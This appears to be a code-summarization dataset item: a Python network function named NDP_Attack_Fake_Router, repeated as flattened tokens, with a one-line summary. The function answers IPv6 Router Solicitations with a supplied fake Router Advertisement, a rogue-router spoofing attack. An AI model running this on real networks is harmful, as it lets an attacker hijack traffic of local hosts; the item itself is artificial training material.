def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None):
 def is_request(req, mac_src_filter, ip_src_filter):
  '\n        Check if packet req is a request\n        '
  if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_RS in req))):
   return 0
  mac_src = req[Ether].src
  if (mac_src_filter and (mac_src != mac_src_filter)):
   return 0
  ip_src = req[IPv6].src
  if (ip_src_filter and (ip_src != ip_src_filter)):
   return 0
  return 1
 def ra_reply_callback(req, iface):
  '\n        Callback that sends an RA in reply to an RS\n        '
  src = req[IPv6].src
  sendp(ra, iface=iface, verbose=0)
  print ('Fake RA sent in response to RS from %s' % src)
 if (not iface):
  iface = conf.iface
 sniff_filter = 'icmp6'
 sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, ip_src_filter)), prn=(lambda x: ra_reply_callback(x, iface)), iface=iface)

def NDP_Attack_Fake_Router ( ra , iface = None , mac_src_filter = None , ip_src_filter = None ) : def is_request ( req , mac_src_filter , ip_src_filter ) : if ( not ( ( Ether in req ) and ( IPv6 in req ) and ( ICMPv6ND_RS in req ) ) ) : return 0 mac_src = req [ Ether ] . src if ( mac_src_filter and ( mac_src != mac_src_filter ) ) : return 0 ip_src = req [ IPv6 ] . src if ( ip_src_filter and ( ip_src != ip_src_filter ) ) : return 0 return 1 def ra_reply_callback ( req , iface ) : src = req [ IPv6 ] . src sendp ( ra , iface = iface , verbose = 0 ) print ( 'Fake RA sent in response to RS from %s' % src ) if ( not iface ) : iface = conf . iface sniff_filter = 'icmp6' sniff ( store = 0 , filter = sniff_filter , lfilter = ( lambda x : is_request ( x , mac_src_filter , ip_src_filter ) ) , prn = ( lambda x : ra_reply_callback ( x , iface ) ) , iface = iface )
the purpose of this function is to send provided ra message at layer 2 in response to received rs messages .